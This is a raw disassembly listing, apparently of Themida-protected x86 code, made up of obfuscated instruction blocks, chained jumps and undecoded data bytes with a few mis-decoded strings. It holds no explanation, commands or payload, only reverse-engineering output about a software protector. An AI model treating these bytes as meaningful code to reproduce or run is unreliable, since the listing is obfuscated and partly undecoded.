		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edx, edi
		jmp	loc_548717
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 0F2h
		dd 8171E029h, 8F2604E9h, 0E9CB292Dh, 0FFFFFDFBh, 5A685351h
		dd 5B23BB04h, 0BB045EB9h, 3BC18123h, 2924AF1Ch,	3BE981D9h
		dd 5B24AF1Ch, 4594E9h, 1FBB5300h, 178E0D0h, 0D3015BDAh
		dd 9DD2E95Ah, 0C481FFFFh, 4, 550AE9C1h,	4EC81h,	0F8E90000h
		dd 81000005h, 7B367FF3h, 5BD9313Bh, 8159CB01h, 4EBh, 241C8700h
		dd 0D1B4E95Ch, 2B8FFFFh, 81000000h, 0B274A2C6h,	81C6293Dh
		dd 0B274A2EEh, 3487583Dh, 89665C24h, 15E92404h,	89FFFF9Dh
		dd 0D34EE9D7h, 489FFFFh, 4BF3B824h, 0EC0D2C93h,	2D256632h
		dd 7AC925CAh, 0FBBA5251h, 81143826h, 0DE0CB5CAh, 3834E940h
		dd 19B50000h, 0FFFD19E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C0B1:				; CODE XREF: Themida_:005483D9j
		add	[esp+4], edi
		pop	edi
		jmp	loc_54BD82
; ---------------------------------------------------------------------------
		db 89h
		dd 2FB02404h, 0C228DEB2h, 0C0D2F658h, 0EA8006E2h, 0BCB45050h
		dd 30E0EC80h, 0EAC058E2h, 90F28006h, 805AD300h,	0CB00D0C3h
		dd 4D4BE9h, 0E9D93100h,	0FFFFA4B1h
; ---------------------------------------------------------------------------

loc_54C0F0:				; CODE XREF: Themida_:00549893j
		xor	ebx, 44823569h
		not	ebx
		shr	ebx, 4
		sub	ebx, 2CDC089Ah
		jmp	loc_54BB66
; ---------------------------------------------------------------------------
		dw 0D1B6h
		dd 0FFE637E9h, 585950FFh, 9FE9CB89h, 43000043h,	0F60DC381h
		dd 0DE313223h, 5C6815Bh, 0E95ABF6Bh, 0FFFFDDA8h, 515DEA01h
		dd 3167E9h, 40BF5700h, 0C100EC3Ch, 0D7F705EFh, 4F06EFC1h
		dd 0C781DFF7h, 320B3ED8h, 15FF801h, 24048BC2h, 4C481h
		dd 14870000h, 24D25C24h, 2DE99C24h, 1FFFF9Ch, 3767E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C16E:				; CODE XREF: Themida_:0054A311j
		mov	ebx, 4B4A3CA9h
		shl	ebx, 8
		neg	ebx
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebx, edx
		jmp	loc_54F460
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 24048F04h, 0E924248Bh, 0FFFFEC1Dh, 6C5CEE81h, 1C8B7A65h
		dd 4C48124h, 0E9000000h, 0FFFFCAE1h, 1E9C589h, 0BAFFFFFDh
		dd 1D52049Dh, 2A5FC281h, 53564183h, 4EC81h, 2FE90000h
		dd 1FFFFC3h, 9FE958C3h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C1CF:				; CODE XREF: Themida_:005512EBj
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	2991h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_548B58
; ---------------------------------------------------------------------------

loc_54C1FD:				; CODE XREF: Themida_:005476B4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, dl
		push	ebx
		jmp	loc_549257
; ---------------------------------------------------------------------------
		dw 0F101h
aBscmGs		db 'éæm´Gé',27h,'\',0
		dw 5E00h
		dd 0FFE906E9h, 4EC83FFh, 0E9242489h, 0FFFFA1E5h, 8AE9E589h
		dd 56000006h, 0DCE9E689h, 6800003Bh, 1273h, 533CE9h, 5AF18800h
		dd 24B4E95Bh, 34FF0000h, 0C4815824h, 4,	8E68C328h, 89000069h
		dd 0EC832414h, 240C8904h, 0CA88C2B1h, 1214E9h, 0FEE95B00h
		dd 0C1FFFFD3h, 25E905EFh, 8900002Dh, 4832424h, 505B0424h
		dd 0A1676DB8h, 9897052Ch, 30E9D35Eh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C297:				; CODE XREF: Themida_:0054C59Fj
		sub	edi, 7F654E58h
		jmp	loc_54EDC1
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 2C335C24h, 242C3124h, 5C242C33h, 9C240431h, 0FF9ADBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C2B9:				; CODE XREF: Themida_:00546836j
		mov	edx, 0DE88D48Eh
		jmp	loc_54799D
; ---------------------------------------------------------------------------

loc_54C2C3:				; CODE XREF: Themida_:0054F95Bj
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_54AE11
; ---------------------------------------------------------------------------
		db 0FFh
		dd 57592434h, 0C781E789h, 4, 0E904C783h, 0FFFFF3F6h, 0C8BCE30h
		dd 0D491E924h, 415EFFFFh, 0BD55D9F7h, 46C85DFEh, 348E9h
		dd 240C8B00h, 4C481h, 0C3280000h, 4EC81h, 0C890000h, 5234B124h
		dd 4EC81h, 94E90000h, 68FFFFFDh, 2D7Ah,	0E9241489h, 1651h
		dd 0E9C80166h, 0FFFFC3B2h, 0E9C0B60Fh, 0FFFFDA76h, 4C1B353h
		dd 288D2C47h, 668D04D8h, 665B1468h, 0B6241489h,	66F02847h
		dd 2434FF5Ah, 8B2434FFh, 0C481241Ch, 4,	81E78957h, 4C7h
		dd 4C78300h, 5C243C87h,	3002E9h, 24348900h, 5F2434FFh
		dd 8B04C483h, 0C4832434h, 8BFA8904h, 9FE9243Ch,	53000036h
		dd 23BE9h, 2DC80100h, 36F707E4h, 50240C8Bh, 0F2E9E089h
		dd 8100005Ah, 4C3h, 4EB8300h, 5C241C87h, 0B63E9h, 0C8B6600h
		dd 34966824h, 3C890000h, 9FE95424h, 66000040h, 661598BDh
		dd 66FFC583h, 0EE03ED81h, 0E9EB0166h, 0FFFF9D95h, 8892F281h
		dd 0D609216Bh, 8124148Bh, 4C4h,	0BCC68100h, 3117329Dh
		dd 0E9555EF7h, 0FFFFB24Ch, 80C3815Ah, 0E90E5A5Bh, 0FFFFA140h
; ---------------------------------------------------------------------------

loc_54C418:				; CODE XREF: Themida_:00551F12j
		push	eax
		push	20614DFh
		pop	eax
		sub	eax, 87F8F1EDh
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		or	esi, ecx
		mov	ecx, [esp]
		jmp	loc_54E4C7
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D1290000h, 79DE685Ah, 0C890000h, 2474FF24h,	48F5904h
		dd 4895C24h, 24148B24h,	0E904EC83h, 4C6Fh, 0E903EDC1h
		dd 0FFFFC983h
; ---------------------------------------------------------------------------

loc_54C468:				; CODE XREF: Themida_:0054A251j
		pop	esp
		add	eax, 1
		push	ebx
		mov	ebx, 24h
		sub	ebx, 53C84E00h
		add	ebx, edi
		add	ebx, 53C84E00h
		jmp	loc_547BAE
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aPs_0		db '$Pé^=',0
		dw 100h
		dd 2434FFD8h, 81241C8Bh, 4C4h, 4C48300h, 205h, 24048700h
		dd 6624248Bh, 9C240421h, 0FF98DFE9h, 665859FFh,	0B6A5E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C4BE:				; CODE XREF: Themida_:0054FBC3j
		mov	ecx, esp
		push	6E45h
		jmp	loc_54F4F2
; ---------------------------------------------------------------------------
aRsmz		db 'Ré¬Z',0
		align 10h
		dd 240C8B5Ah, 55E78957h, 4BDh, 5DEF0100h, 4BE5651h, 89000000h
		dd 0CF015EF1h, 243C8759h, 6824248Bh, 1379h, 0E9240489h
		dd 0FFFF9894h, 0E9240487h, 230Fh
; ---------------------------------------------------------------------------

loc_54C508:				; CODE XREF: Themida_:0054BE10j
		pop	eax
		pop	ebx
		and	ebx, eax
		jmp	loc_550613
; ---------------------------------------------------------------------------
		db 1, 0F2h, 81h
		dd 497835EAh, 55505E1Ch, 0A75B9068h, 0C5815D5Fh, 0A058A474h
		dd 0E95DE889h, 0FFFFF6B0h, 0A5E6E957h, 0EC81FFFFh, 4, 0E9240C89h
		dd 1CB3h, 0B8505F5Ah, 2, 0FFB4F3E9h, 0C8E958FFh, 28FFFFE4h
		dd 66A72CD8h, 57241C8Bh, 0C781E789h, 4,	8702C783h, 248B243Ch
		dd 28CB2C24h, 4CB04D8h,	0C66866FEh, 14896670h, 74B55124h
		dd 55ECE9h, 240C8B00h, 8704C483h, 0B1E92404h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C597:				; CODE XREF: Themida_:0054DE3Cj
		add	edi, 7F654E58h
		sub	edi, ecx
		jmp	loc_54C297
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E9E78957h, 4C08h, 904C483h, 5E840FC0h, 0FF000052h
		dd 0C8B1C77h, 4EC8124h,	89000000h, 89E92404h, 5EFFFFBDh
		dd 0FFF406E9h, 0E99C51FFh, 3990h, 622E93BBh, 0D8E95204h
		dd 0FFFFFFEBh, 8B042474h, 0C483240Ch, 24048F04h, 0AD21E95Ch
		dd 0E956FFFFh, 3048h
; ---------------------------------------------------------------------------

loc_54C600:				; CODE XREF: Themida_:0054D4E0j
		sub	esp, 4
		jmp	loc_54941D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0C1DAF704h, 0E2D105EAh, 0C716F281h, 0D589245Dh
		dd 0E9E8015Ah, 0FFFFEFD1h, 107EBBEh, 4ED6F73Ch,	0DE87D6F7h
		dd 37E9D3F7h, 89FFFFF6h, 5A532414h, 148BD589h, 0E1895124h
		dd 0FFBF18E9h, 0B85045FFh, 4A3A3042h, 0FFA2BBE9h, 0D831ADFFh
		dd 0FFE05CE9h, 241489FFh, 44408DBAh, 6F5E917h, 9C040000h
		dd 3634E952h, 315E0000h, 9B29E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C67E:				; CODE XREF: Themida_:00549C1Cj
		push	35FFh
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 33506CECh
		add	ebx, edi
		push	3216h
		mov	[esp], edi
		mov	edi, 633C12B9h
		sub	edi, 1
		sub	edi, 49E062CFh
		jmp	loc_548C28
; ---------------------------------------------------------------------------

loc_54C6AE:				; CODE XREF: Themida_:0054A70Aj
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		jmp	loc_54D8FA
; ---------------------------------------------------------------------------
		dd 9C240420h, 0FF96C7E9h, 22685AFFh, 89000020h,	5A542414h
		dd 4C281h, 7B680000h, 89000056h, 4BF243Ch, 81000000h, 0EE1FA0C2h
		dd 81FA0165h, 0EE1FA0EAh, 14335F65h, 45C6E924h,	0BA520000h
		dd 45720B82h, 0F447EA81h, 0D601D7F2h, 0EEC1595Ah, 47F68107h
		dd 811D0A33h, 0BA51C3EEh, 4AF68169h, 31EC6874h,	24348BF0h
		dd 53E28952h, 4BBh, 5BDA0100h, 0CA1FE957h, 0E958FFFFh
		dd 0FFFFEF6Dh, 0FD9AF581h, 0EF016DA7h, 599CE9h,	7E95000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C757:				; CODE XREF: Themida_:00548A99j
		pop	ecx
		jmp	loc_54E6F1
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 1Ch
		dd 0E9F83E80h, 5A4h, 68h, 2C96E900h, 88BD0000h,	0C14EB32Eh
		dd 554D08E5h, 0FFDA36E9h, 2434FFFFh, 0FFC0C2E9h, 148B66FFh
		dd 2C48324h, 8016B652h,	4E2CD3EEh, 0F0006F2Ch, 52536F04h
		dd 0EE800AB6h, 0EFEBE9B2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C7AA:				; CODE XREF: Themida_:00548D8Aj
		mov	edi, ebp
		pop	ebp
		xor	[esp+4], edi
		pop	edi
		jmp	loc_5514CD
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFEA75E9h, 241487FFh, 5524248Bh, 2BDh, 0E9E80100h
		dd 0FFFFF38Dh, 8B5BFD88h, 0AE92414h, 1FFFFADh, 0E3E95BDFh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C7E3:				; CODE XREF: Themida_:00551326j
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4BE02B21h
		push	edx
		mov	edx, 13C417A0h
		jmp	loc_54FD7E
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFAD38h, 0E904C483h, 3E39h, 4C181h, 0C1810000h, 4
		dd 5C240C87h, 0BBBD6655h, 0CD81662Fh, 8166530Eh, 667CECF5h
		dd 665DEE29h, 3A6BC681h, 0A9C2D66h, 52F02966h, 16DBA66h
		dd 0DE94266h, 66FFFFB7h, 50240C8Bh, 162668h, 39E95400h
		dd 89FFFFACh, 0F2B82404h, 0E9165A2Ah, 5164h, 0E9505B54h
		dd 0FFFFE064h
; ---------------------------------------------------------------------------

loc_54C868:				; CODE XREF: Themida_:00546890j
		xor	ebx, 31B3151Dh
		add	ebx, 47B90ADFh
		jmp	loc_54C8FA
; ---------------------------------------------------------------------------
		db 55h,	89h, 0FDh
		dd 0FFAD34E9h, 65802DFFh, 0E8291BF3h, 0F3658005h, 4875D1Bh
		dd 4895C24h, 85CB824h, 0C30144CFh, 582434FFh, 4C481h, 8F0000h
		dd 0FF94E7E9h, 243C89FFh, 55242C81h, 5A223171h,	0FFDF4FE9h
		dd 4C581FFh, 51000000h,	4B9h, 59CD0100h, 0FFA56AE9h, 58F580FFh
		dd 89E9E800h, 0BEFFFFD4h, 4, 4AACE9h, 94AAE900h, 77FFFFFFh
		dd 59669D1Ch, 2414D366h, 949AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C8FA:				; CODE XREF: Themida_:0054C874j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	ebx, 366678AAh
		inc	ebx
		sub	ebx, 2A3E24EBh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, eax
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_54F7FC
; ---------------------------------------------------------------------------

loc_54C925:				; CODE XREF: Themida_:00548140j
		mov	ebx, 32BA369Fh
		add	dword ptr [esp+4], 4C701F02h
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 4C701F02h
		pop	ebx
		mov	edx, [esp]
		jmp	loc_54F117
; ---------------------------------------------------------------------------
		align 4
aSU		db 'ÃéÉU',0
		align 2

loc_54C94E:				; CODE XREF: Themida_:005493CFj
		mov	[edx+30h], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dw 31E9h
		dd 59FFFF94h, 1C8BD801h, 4C48124h, 0E9000000h, 0FFFFAA54h
; ---------------------------------------------------------------------------

loc_54C974:				; CODE XREF: Themida_:00546E0Ej
		add	esp, 4
		add	edx, ecx
		add	[edx], esi
		jmp	loc_54DB65
; ---------------------------------------------------------------------------
		db 5
		dd 1853F8Eh, 5A2434FFh,	0FFF00DE9h, 0C8B59FFh, 4C48124h
		dd 53000000h, 4F23E9h, 0C1DFF700h, 0BE5604E7h, 6ACE4EE6h
		dd 8103E6C1h, 0F77657F6h, 6CE6813Eh, 0C14E727Fh, 0CE8105E6h
		dd 0A1D388Ch, 9C88EE81h, 0F701879Ch, 0FFECB3E9h, 81E789FFh
		dd 4C7h, 4C78300h, 5C243C87h, 0FB468h, 24048900h, 2CF4E9h
		dd 48B6600h, 0E9545624h, 2D2Ch,	2EC99435h, 0C007E91Bh
		dd 0CE68FFFFh, 89000035h, 74FF240Ch, 8F590424h,	99E92404h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CA17:				; CODE XREF: Themida_:00548306j
		shr	esi, 5
		xor	esi, 5A4B256Ah
		push	edx
		push	esi
		mov	esi, 16BE47F5h
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		and	edx, 153B53D4h
		add	edx, 7542DDEh
		xchg	esi, edx
		not	esi
		jmp	loc_547A3D
; ---------------------------------------------------------------------------

loc_54CA47:				; CODE XREF: Themida_:0054D450j
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ebx
		mov	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_54F458
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0B8502424h, 4, 4244401h, 0CC685B58h,	0E9000047h, 0FFFFFBD9h
		dd 0E94077FFh, 0FFFF9304h, 840FC009h, 0FFFF95FBh, 277868h
		dd 0A831E900h, 152DFFFFh, 5F12DF5Bh, 34FFC229h,	0C4835824h
		dd 24148704h, 8924248Bh, 0FB682414h, 89000024h,	0E956243Ch
		dd 0FFFFB0B3h, 24048B66h, 2C481h, 5660000h, 5660001h, 0FE95D92h
		dd 31FFFF95h, 240C8BC8h, 6804C483h, 73D2h, 0BD242C89h
		dd 17CC3097h, 0C581DDF7h, 776DA1B0h, 0EBE9EB29h, 89FFFFB8h
		dd 4C681E6h, 50000000h,	468h, 0C6015800h, 24348758h, 0FFAA6EE9h
		dd 1C77FFFFh, 0D359669Dh, 0E99C241Ch, 0FFFF9268h
; ---------------------------------------------------------------------------

loc_54CB2C:				; CODE XREF: Themida_:005478EAj
		pop	ecx
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54D4D6
; ---------------------------------------------------------------------------
aPsi		db 'Péi+',0
		dw 8100h
		dd 860FFDF1h, 8E1C152h,	41ACE9h, 8841B100h, 0F33059CEh
		dd 0DC885A66h, 52241C8Bh, 0FFB3DEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CB65:				; CODE XREF: Themida_:0054BD9Dj
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 9707E924h, 835DFFFFh, 0AFE904C4h, 31000020h,	1C33241Ch
		dd 24248B24h, 68C8BF0Fh, 334Dh,	0E9240C89h, 0FFFF9200h
		dd 0E904C283h, 55CFh, 4C48158h,	8F000000h, 665C2404h, 0E9240C8Bh
		dd 227Ch, 2C492CACh, 4311E90Ch,	875D0000h, 0EDE9241Ch
		dd 8100000Fh, 4C5h, 3528E900h, 1C870000h, 24248B24h, 5158E9h
		dd 78106800h, 0F7586D9Dh, 38302DD0h, 6C6891E3h,	8900002Eh
		dd 0C2892414h, 0FFC3A4E9h, 93B353FFh, 0FFD52FE9h, 24048FFFh
		dd 6624248Bh, 2404BB0Fh, 9186E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CC0E:				; CODE XREF: Themida_:00546A14j
		mov	eax, 6BC80CCEh
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	44B5h
		mov	[esp], ecx
		mov	ecx, 67C15630h
		push	ebp
		mov	ebp, 406B69Eh
		jmp	loc_546F43
; ---------------------------------------------------------------------------
		dd 35E7CE81h, 0C6817561h, 3D70051Ah, 4CE9D6F7h,	81FFFFD8h
		dd 0EF7BF1E5h, 32B95143h, 0F75D6914h, 0C18141D1h, 47A85337h
		dd 8AF18141h, 810FF82Fh, 3FA6CCF1h, 0E9CD01DDh,	2069h
		dd 763BE56h, 0E6810218h, 55AB29BFh, 7091F681h, 0E946275Fh
		dd 0FFFFE54Fh, 31241C33h, 1C33241Ch, 4EACE924h,	0E9500000h
		dd 3FAAh
; ---------------------------------------------------------------------------

loc_54CCA4:				; CODE XREF: Themida_:00550D9Aj
		pop	eax
		push	edx
		jmp	loc_54E68C
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF90E4h
; ---------------------------------------------------------------------------

loc_54CCB0:				; CODE XREF: Themida_:0054BDC5j
		neg	ecx
		add	ecx, 0A033C3E8h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 179463F8h
		add	ebx, 2D2245E6h
		push	dword ptr [ebx]
		mov	eax, [esp]
		jmp	loc_550785
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5B0C6824h, 0C890000h, 68595424h, 6597h, 68243C89h, 4
		dd 2EF3E9h, 242CD300h, 0A62AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CCFA:				; CODE XREF: Themida_:00551774j
		mov	cx, [esp]
		jmp	loc_5474B8
; ---------------------------------------------------------------------------
aASSb		db 'AÁá',8,'éb"',0
		align 4
		dd 0E5E9D329h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CD13:				; CODE XREF: Themida_:0054AAD2j
		sub	ebx, 245C1CF3h
		add	ebx, 8E0C4Ah
		jmp	loc_549FC2
; ---------------------------------------------------------------------------
		dd 95E9565Ah, 81FFFFC2h, 0F12E9BC7h, 242C8B19h,	0FFD858E9h
		dd 5BDE68FFh, 34890000h, 2918BE24h, 0DEF74983h,	46F1BB53h
		dd 0E94B6D34h, 0FFFFC6A9h, 0E2895258h, 4C281h, 8BE90000h
		dd 81FFFFC5h, 0BBBF77C2h, 22AE9E8h, 0F8010000h,	8904EC83h
		dd 0D1BA2414h, 143D305h, 685F5AD0h, 5A43h, 0E9240C89h
		dd 208Bh, 5BD8295Eh, 0BB53D801h, 58561C1Bh, 29A8E381h
		dd 0D3F731C7h, 7DF6EB81h, 2E93CEAh, 0B9FFFFDBh,	4, 29E9CB01h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54CDB7:				; CODE XREF: Themida_:0054CE9Bj
		not	edx
		inc	edx
		add	edx, 1EFD54EDh
		xor	edx, 82A1AB8Fh
		push	edi
		jmp	loc_550A51
; ---------------------------------------------------------------------------
		dd 8158C101h, 6860C5C3h, 0E9CB291Ah, 0FFFFE812h, 8E3C158h
		dd 0EB81D3F7h, 4CF18FD2h, 8306E3C1h, 0BA5201C3h, 2CC233D7h
		dd 0FFBACFE9h, 8BE328FFh, 0C4832404h, 0C1885104h, 0E06EE950h
		dd 0E951FFFFh, 0FFFFA021h, 5624348Bh, 0C681E689h, 4, 3304C683h
		dd 34312434h, 24343324h, 242C8B5Ch, 4C481h, 12680000h
		dd 8900007Bh, 0F268241Ch, 8B32C717h, 40E9241Ch,	5AFFFFDAh
		dd 4A10E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CE4E:				; CODE XREF: Themida_:0054D07Aj
		push	edi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	edi
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		xchg	ecx, [esp]
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	4794h
		mov	[esp], edi
		push	1
		pop	edi
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_54FBBF
; ---------------------------------------------------------------------------
		db 5
		dd 4, 42Dh, 0D2AEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CE9A:				; CODE XREF: Themida_:0054EC25j
		pop	ecx
		jmp	loc_54CDB7
; ---------------------------------------------------------------------------
		dd 4BAh, 0EDDE900h, 0C7810000h,	4, 0E9243C87h, 2AC7h, 5C242C87h
		dd 0B8240489h, 735668D4h, 1C95E9h, 4C48100h, 8F000000h
		dd 34FF2404h, 6AE95824h, 5AFFFFEAh, 31241C33h, 1C33241Ch
		dd 0C4835C24h, 99B85004h, 112FE46h, 0DAF6E9C1h,	0EF81FFFFh
		dd 4, 5C243C87h, 81242C89h, 4ECh, 24048900h, 0FF9B15E9h
		dd 8E7EE9FFh, 815FFFFFh, 42344BE7h, 0B3EF8130h,	0E9123B52h
		dd 461Bh, 55243489h, 86016ABDh,	7D60BE23h, 0EE312F59h
		dd 24BD555Dh, 0E9578D1Eh, 0FFFF995Dh, 34FFE989h, 0C4835D24h
		dd 40C18104h, 12BCA57h,	40E981F9h, 0FF2BCA57h, 75E95231h
		dd 68FFFFBAh, 6303h, 1F30E9h, 53E18900h, 7F1572BBh, 4A2BE93Ch
		dd 0C6810000h, 416C122Dh, 0FFD78AE9h, 55E681FFh, 0E9639B2Fh
		dd 4A96h, 0E9E28952h, 0FFFFBF10h, 555AD301h, 2BDh, 40EB8100h
		dd 15EE462h, 40BE56EBh,	15EE462h, 3E95EF3h, 5FFFFFCh, 76A15CB5h
		dd 0B52DD001h, 8B76A15Ch, 0C4812414h, 4, 0FFF13CE9h, 0AAE95AFFh
		dd 6600003Ah, 0E99CC885h, 0FFFF8DB4h, 241C3359h, 33241C31h
		dd 65E9241Ch, 52FFFFB8h, 468h, 0C7815A00h, 4EA505F7h, 0EF81D701h
		dd 4EA505F7h, 8124148Bh, 4C4h, 243C8700h, 4446E9h, 9EBA5200h
		dd 0E917727Ch, 0FFFFAFD8h, 240C8B66h, 51E08950h, 0C181E189h
		dd 4, 0FF91AEE9h, 5FFB89FFh, 58B7B850h,	0BDE95AD7h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D043:				; CODE XREF: Themida_:0054783Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	ecx, 0FAEF9E5Ah
		and	eax, ecx
		pop	ecx
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	750Eh
		mov	[esp], ecx
		xchg	ecx, [esp]
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		jmp	loc_54CE4E
; ---------------------------------------------------------------------------
		db 50h
		dd 7D0834B8h, 0F7CE055Ch, 0C101A382h, 3512E9h, 0E9F30100h
		dd 0FFFF9232h, 81240C8Bh, 4C4h,	0FB28E900h, 0DAF7FFFFh
		dd 60A5EA81h, 0D3019A60h, 2CC3815Ah, 2D2C7DA4h,	5454229Bh
		dd 9B05D801h, 5B545422h, 0F22DD829h, 0E90CF21Ah, 0DC8h
		dd 8704C183h, 0F5C240Ch, 34FFC0B6h, 2434FF87h, 0E7895758h
		dd 0FFBEC6E9h, 0E95450FFh, 3E89h, 3C8B5B5Ah, 4AADE924h
		dd 50660000h, 3F82B866h, 0FFAD05E9h, 0C8B66FFh,	0C946824h
		dd 2C890000h, 2C8B5424h, 4C48324h, 0FFC620E9h, 46B951FFh
		dd 0F706702Dh, 25C181D9h, 52148A3h, 36F707E4h, 0FFF26CE9h
		dd 0B4E954FFh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D13B:				; CODE XREF: Themida_:00548C67j
		mov	edi, 1505A4Eh
		or	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 355D7FFAh
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_54FE55
; ---------------------------------------------------------------------------
aMh8		db '¬h^8',0
		dd 242C8900h, 0A7E9E589h, 33000048h, 665C2414h,	2404AB0Fh
		dd 8C12E99Ch, 3C89FFFFh, 0E9E78924h, 0FFFF9B65h, 9C240CFEh
		dd 0FF8BFFE9h, 58C289FFh, 8103E2C1h, 8A4571C2h,	0A9C2814Ch
		dd 1467A03h, 24148BD6h,	0B32E9h, 0F7DAF700h, 85C281D2h
		dd 0E944153Ah, 1979h, 42474FFh,	24048F59h, 824248Bh, 0E99C2404h
		dd 0FFFF8BC0h, 0E904C483h, 0FFFFA975h, 525FF801h, 0E75861BAh
		dd 5AD02107h, 3650BE56h, 0F001FDBAh, 87C2815Eh,	0E97F5E67h
		dd 2D0Eh, 8B24048Fh, 89662424h,	89E9240Ch
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D20B:				; CODE XREF: Themida_:00551AC4j
		pop	esi
		add	esi, 4
		jmp	loc_5479AD
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C58106EDh, 0FFDACB88h, 2E6AE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D225:				; CODE XREF: Themida_:0054A44Ej
		mov	[esp], dx
		push	ecx
		mov	cl, 0CBh
		add	cl, 0AEh
		jmp	loc_54A1A8
; ---------------------------------------------------------------------------
		dd 12E96866h, 0C4E95466h, 5CFFFFD2h, 0E9241C89h, 0FFFFA8B1h
		dd 0BFF3E95Ch, 0D521FFFFh, 0FFE9565Ah, 0ADFFFFCFh, 7968D831h
		dd 89000073h, 0E952242Ch, 1E2Bh, 0DBE95859h, 0BDFFFFDBh
		dd 52350379h, 382AF581h, 0E94D699Bh, 2059h, 8FC0B60Fh
		dd 9E98704h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D28B:				; CODE XREF: Themida_:00549782j
		and	ebp, eax
		jmp	loc_54660C
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704EE83h, 895C2434h, 13BB241Ch, 81168818h, 1504246Ch
		dd 16FF365h, 8104245Ch,	15042444h, 5B6FF365h, 4A3D68h
		dd 270BE900h, 3C870000h, 0D3665C24h, 0E99C240Ch, 0FFFF8AC0h
		dd 2648B8B8h, 0E9C7291Eh, 0FFFFAAD8h
; ---------------------------------------------------------------------------

loc_54D2E0:				; CODE XREF: Themida_:0054E12Bj
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		jmp	loc_551562
; ---------------------------------------------------------------------------

